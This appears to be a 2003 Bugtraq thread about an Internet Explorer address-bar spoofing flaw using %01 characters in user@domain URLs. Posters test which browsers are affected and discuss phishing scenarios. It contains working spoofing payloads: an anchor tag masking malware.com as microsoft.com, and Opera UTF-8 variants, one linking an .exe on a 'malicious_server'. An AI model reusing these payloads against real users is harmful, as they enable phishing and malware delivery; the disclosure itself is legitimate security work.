RE: Internet Explorer URL parsing vulnerability

http-equiv@excite.com · 10/12/03 19:15

Here's a fully functional self-explanatory demo:

http://www.malware.com/hole-e-day.zip

functional from these quarters on fully patched IE6 / OE6

No doubt many will receive nice holiday greetings soon enough

END CALL

The following works on Outlook Express 6 latest everything. Running
on XP.

http://cert.uni-stuttgart.de/archive.../msg00249.html

09% pushes malware.com out of sight in the task bar, and %01 leaves
microsoft.com intact in the address bar:

<A
href="http://www.microsoft.com%01%09%09%09%09%09%09%
09@www.malware.com">religious
software</A>

Certainly will add a new flavour to the ever increasing methods of
trickery. Now all we need to do is spoof the file download name on
an *.exe and away we go.

--
http://www.malware.com

Nick FitzGerald · 10/12/03 19:15

<bugtraq@zapthedingbat.com> wrote:

> By opening a window using the http://user@domain nomenclature an
> attacker can hide the real location of the page by including a 0x01
> character after the "@" character. ...

"before" methinks (as in your example!).

> ... Internet Explorer doesn't display the
> rest of the URL making the page appear to be at a different domain.
>
> # POC ##########
> http://www.zapthedingbat.com/security/ex01/vun1.htm

In fact, it seems that the URL-encoding is unnecessary (although how
reliably a page with an 0x01 character in it will be transported around
I'm not sure and it would likely be less useful for attempted exploits
transmitted via Email). So, anyone busily setting up further filters
in any sanitizing procedures for incoming HTML should not only be
looking for "%01" but straight 0x01 characters (although reliably
interpreting this when combined with scripting -- see below -- might be
a headache).

Oddly (or not, depending on your experience with, and expectations of,
inconsistencies in MS products) this does not seem to work in a
straight http-equiv=refresh situation. Odder yet (or not, depending on
your experience with, and expectations of, inconsistencies in MS
products) it does work with http-equiv=refresh if you script the
writing of the refresh statement. Go figure!

I don't have ready access to a suitable server config at the moment to
try the variations with server-side redirects -- anyone??

Regards,

Nick FitzGerald

Pedro Castro · 10/12/03 20:30

It does also apply to Mozilla Firebird 0.7.

John W. Noerenberg II wrote:

> This exploit also applies to the Macintosh version of Explorer
> v5.2.3(5815.1)
>
>> From: <bugtraq@zapthedingbat.com>
>> To: bugtraq@securityfocus.com
>> Subject: Internet Explorer URL parsing vulnerability
>>
>>
>>
>> Internet Explorer URL parsing vulnerability
>> Vendor Notified 09 December, 2003
>>
>> # Vulnerability ##########
>> There is a flaw in the way that Internet Explorer displays URLs in
>> the address bar.
>>
>> By opening a specially crafted URL an attacker can open a page that
>> appears to be from a different domain from the current location.
>>
>> # Exploit ##########
>> By opening a window using the http://user@domain nomenclature an
>> attacker can hide the real location of the page by including a 0x01
>> character after the "@" character.
>> Internet Explorer doesn't display the rest of the URL making the page
>> appear to be at a different domain.
>>
>> # POC ##########
>> http://www.zapthedingbat.com/security/ex01/vun1.htm
>>
>> # Tested ##########
>> Internet Explorer
>> Version 6.0.2800.1106C0
>> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>>
>> # Credit ##########
>> Zap The Dingbat
>> http://www.zapthedingbat.com/
>
>

http-equiv@excite.com · 10/12/03 21:15

The following works on Outlook Express 6 latest everything. Running
on XP.

http://cert.uni-stuttgart.de/archive.../msg00249.html

09% pushes malware.com out of sight in the task bar, and %01 leaves
microsoft.com intact in the address bar:

<A
href="http://www.microsoft.com%01%09%09%09%09%09%09%
09@www.malware.com">religious
software</A>

Certainly will add a new flavour to the ever increasing methods of
trickery. Now all we need to do is spoof the file download name on
an *.exe and away we go.

--
http://www.malware.com

William Stockall · 11/12/03 02:30

I don't see this problem with Mozilla Firebird 0.7. It displays the
whole URL including the %01 and everything after the @ symbol.

Will.

Pedro Castro wrote:
> It does also apply to Mozilla Firebird 0.7.
>
>
>
> John W. Noerenberg II wrote:
>
>> This exploit also applies to the Macintosh version of Explorer
>> v5.2.3(5815.1)
>>
>>> From: <bugtraq@zapthedingbat.com>
>>> To: bugtraq@securityfocus.com
>>> Subject: Internet Explorer URL parsing vulnerability
>>>
>>>
>>>
>>> Internet Explorer URL parsing vulnerability
>>> Vendor Notified 09 December, 2003
>>>
>>> # Vulnerability ##########
>>> There is a flaw in the way that Internet Explorer displays URLs in
>>> the address bar.
>>>
>>> By opening a specially crafted URL an attacker can open a page that
>>> appears to be from a different domain from the current location.
>>>
>>> # Exploit ##########
>>> By opening a window using the http://user@domain nomenclature an
>>> attacker can hide the real location of the page by including a 0x01
>>> character after the "@" character.
>>> Internet Explorer doesn't display the rest of the URL making the page
>>> appear to be at a different domain.
>>>
>>> # POC ##########
>>> http://www.zapthedingbat.com/security/ex01/vun1.htm
>>>
>>> # Tested ##########
>>> Internet Explorer
>>> Version 6.0.2800.1106C0
>>> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>>>
>>> # Credit ##########
>>> Zap The Dingbat
>>> http://www.zapthedingbat.com/
>>
>>
>>
>

Tiago Pierezan Camargo · 11/12/03 02:45

Not true.. tested it on:

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031110
Firebird/0.7

Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007
Firebird/0.7

Em Ter, 2003-12-09 às 22:13, Pedro Castro escreveu:
> It does also apply to Mozilla Firebird 0.7.
>
>
>
> John W. Noerenberg II wrote:
>
> > This exploit also applies to the Macintosh version of Explorer
> > v5.2.3(5815.1)
> >
> >> From: <bugtraq@zapthedingbat.com>
> >> To: bugtraq@securityfocus.com
> >> Subject: Internet Explorer URL parsing vulnerability
> >>
> >>
> >>
> >> Internet Explorer URL parsing vulnerability
> >> Vendor Notified 09 December, 2003
> >>
> >> # Vulnerability ##########
> >> There is a flaw in the way that Internet Explorer displays URLs in
> >> the address bar.
> >>
> >> By opening a specially crafted URL an attacker can open a page that
> >> appears to be from a different domain from the current location.
> >>
> >> # Exploit ##########
> >> By opening a window using the http://user@domain nomenclature an
> >> attacker can hide the real location of the page by including a 0x01
> >> character after the "@" character.
> >> Internet Explorer doesn't display the rest of the URL making the page
> >> appear to be at a different domain.
> >>
> >> # POC ##########
> >> http://www.zapthedingbat.com/security/ex01/vun1.htm
> >>
> >> # Tested ##########
> >> Internet Explorer
> >> Version 6.0.2800.1106C0
> >> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
> >>
> >> # Credit ##########
> >> Zap The Dingbat
> >> http://www.zapthedingbat.com/
> >
> >
--
Tiago Pierezan Camargo
Software Engineer
Telenova Research and Development Centre
+55 51 33280636 ext. 222
www.telenova.net

Lance James · 11/12/03 03:00

This also adds another effect, Since it's dropping to the right most url and
it's a parsing issue with the display url, SSL is additionally compromised
for this problem.

Scenario: Fake bank setup in .ru somewhere, attacker has a valid cert that
is signed by a authoritative Trent, and of attacker goes phishing. They
click to go to www.bank.com (looks legit of course, especially now), and it
has their usual SSL login prompt without any warnings. This is not an actual
SSL technical problem, but it adds to the trickery.

-----Original Message-----
From: Pedro Castro [mailto:noupy@mail.telepac.pt]
Sent: Tuesday, December 09, 2003 4:14 PM
To: bugtraq@securityfocus.com
Subject: Re: Internet Explorer URL parsing vulnerability

It does also apply to Mozilla Firebird 0.7.

John W. Noerenberg II wrote:

> This exploit also applies to the Macintosh version of Explorer
> v5.2.3(5815.1)
>
>> From: <bugtraq@zapthedingbat.com>
>> To: bugtraq@securityfocus.com
>> Subject: Internet Explorer URL parsing vulnerability
>>
>>
>>
>> Internet Explorer URL parsing vulnerability
>> Vendor Notified 09 December, 2003
>>
>> # Vulnerability ##########
>> There is a flaw in the way that Internet Explorer displays URLs in
>> the address bar.
>>
>> By opening a specially crafted URL an attacker can open a page that
>> appears to be from a different domain from the current location.
>>
>> # Exploit ##########
>> By opening a window using the http://user@domain nomenclature an
>> attacker can hide the real location of the page by including a 0x01
>> character after the "@" character.
>> Internet Explorer doesn't display the rest of the URL making the page
>> appear to be at a different domain.
>>
>> # POC ##########
>> http://www.zapthedingbat.com/security/ex01/vun1.htm
>>
>> # Tested ##########
>> Internet Explorer
>> Version 6.0.2800.1106C0
>> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>>
>> # Credit ##########
>> Zap The Dingbat
>> http://www.zapthedingbat.com/
>
>

Charles Richmond · 12/12/03 05:00

Using the POC at http://www.zapthedingbat.com/security/ex01/vun1.htm

The following do NOT have the vulnerability.

MacOSX 10.2.28 Mozilla Firebird 0.6 NOT vulnerability
MacOSX 10.2.28 Mozilla Firebird 0.7.1 NOT vulnerability
MacOSX 10.2.28 IE 5.2.2 (5010.1) NOT vulnerability
MacOSX 10.2.28 IE 5.2.3 (5815.1) NOT vulnerability

With both Firebird and IE the following is the same result. The
line below is a cut/paste.

http://www.microsoft.com%01@zapthedi.../ex01/vun2.htm

Someone have a different test site?

Bugtraq seems to be holding my posts lately so if you don't see this
please relay it to the list.

On Wednesday, December 10, 2003, at 02:26 PM, Andreas Plesner Jacobsen
wrote:

> On Wed, Dec 10, 2003 at 12:13:57AM +0000, Pedro Castro wrote:
>>>> From: <bugtraq@zapthedingbat.com>
>>>> To: bugtraq@securityfocus.com
>>>> Subject: Internet Explorer URL parsing vulnerability
>>>>
>>>> Internet Explorer URL parsing vulnerability
>>>> Vendor Notified 09 December, 2003
>>>>
>>>> # Vulnerability ##########
>>>> There is a flaw in the way that Internet Explorer displays URLs in
>>>> the address bar.
>>>>
>>>> By opening a specially crafted URL an attacker can open a page that
>>>> appears to be from a different domain from the current location.
>>>>
>>> This exploit also applies to the Macintosh version of Explorer
>>> v5.2.3(5815.1)
>>
>> It does also apply to Mozilla Firebird 0.7.
>
> Not the Linux edition, perhaps only on Windows?
>
> --
> Andreas Plesner Jacobsen | Owe no man any thing...
> | -- Romans 13:8
>
>

Charles Richmond Implemented Integrated Systems Corporation
cmr@iisc.com cmr@acm.org YIM:cmriisc http://www.iisc.com
O/S, I18N, Systems Development, Process and Integration Providers
131 Bishop's Forest Drive , Waltham , Ma. USA 02452
(781) 647 2246 FAX (781) 647 3665 Cellular (781) 389 9777

Mimmus · 12/12/03 08:45

Can any workaround be used at proxy level?

I.e. can malicious URLs be blocked using Squid?

Thanks in advance

Domenico Viggiani

> -----Original Message-----

> From: bugtraq@zapthedingbat.com [mailto:bugtraq@zapthedingbat.com]

> Sent: Tuesday, December 09, 2003 3:44 PM

> Subject: Internet Explorer URL parsing vulnerability

>

> Internet Explorer URL parsing vulnerability

> Vendor Notified 09 December, 2003

>

> # Vulnerability ##########

> There is a flaw in the way that Internet Explorer displays

> URLs in the address bar.

>

> By opening a specially crafted URL an attacker can open a

> page that appears to be from a different domain from the

> current location.

nesumin · 23/12/03 18:45

I have tested this bug on Opera 6.06/7.23 at Win2k.SP4/Win98SE
Japanese.

Opera 7.23 was not effected by this bug but Opera 6.06 had
a similar bug.

Example:
http://www.fake_server.com%C0%80@www.real_server.com/

When Opera 6.06 which "Encoding all addresses with UTF-8"
(Opera's network setting) is enabled opens the URL above,
"%C0%80" will be converted to "\x0000" (*1) and
Opera opens "http://www.real_server.com/" showing
"http://www.fake_server.com" in the address bar or
some JavaScript objects and so forth.

And Opera 6.06 shows a URL Warining Dialog before it goes to a URL that
contains a username so that a user will see the real server's name
in HTTP/HTTPS.
But in FTP, it does not shows a URL Warining Dialog so that
a user cannot see the real information.

Sample Code (for Opera 6) :

<a href="http://www.fake_server.com%C0%AFfake_path%C0%AFfake_filen ame%C0%AEhtml%C0%80@www.opera.com/">
http://www.fake_server.com/fake_path/fake_filename.html
</a>

<a href="ftp://ftp.opera.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF72 3%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80

assword@malicious_server/ow32enen723.exe">
ftp://ftp.opera.com/pub/opera/win/72...w32enen723.exe
</a>

*1 Opera 6 has a "UTF-8 Decode Bug".
"\xC0\x80" .. "\xC0\xBF", "\xC1\x80" .. "\xC1\xBF" are mapped to
"\x0000" .. "\x003F", "\x0040" .. "\x007F".
Due to this bug, Opera 6 has so many troubles.

Thanks.

nesumin

-----Original Message-----
From: <bugtraq@zapthedingbat.com>
Sent: 9 Dec 2003 14:44:16 -0000
To: bugtraq@securityfocus.com
Subject: Internet Explorer URL parsing vulnerability

>
>
> Internet Explorer URL parsing vulnerability
> Vendor Notified 09 December, 2003
>
> # Vulnerability ##########
> There is a flaw in the way that Internet Explorer displays URLs in the address bar.
>
> By opening a specially crafted URL an attacker can open a page that appears to be from a different domain from the current location.
>
> # Exploit ##########
> By opening a window using the http://user@domain nomenclature an attacker can hide the real location of the page by including a 0x01 character after the "@" character.
> Internet Explorer doesn't display the rest of the URL making the page appear to be at a different domain.
>
> # POC ##########
> http://www.zapthedingbat.com/security/ex01/vun1.htm
>
> # Tested ##########
> Internet Explorer
> Version 6.0.2800.1106C0
> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>
> # Credit ##########
> Zap The Dingbat
> http://www.zapthedingbat.com/

Onderwerp Gereedschap

Toon

Onderwerp: RE: Internet Explorer URL parsing vulnerability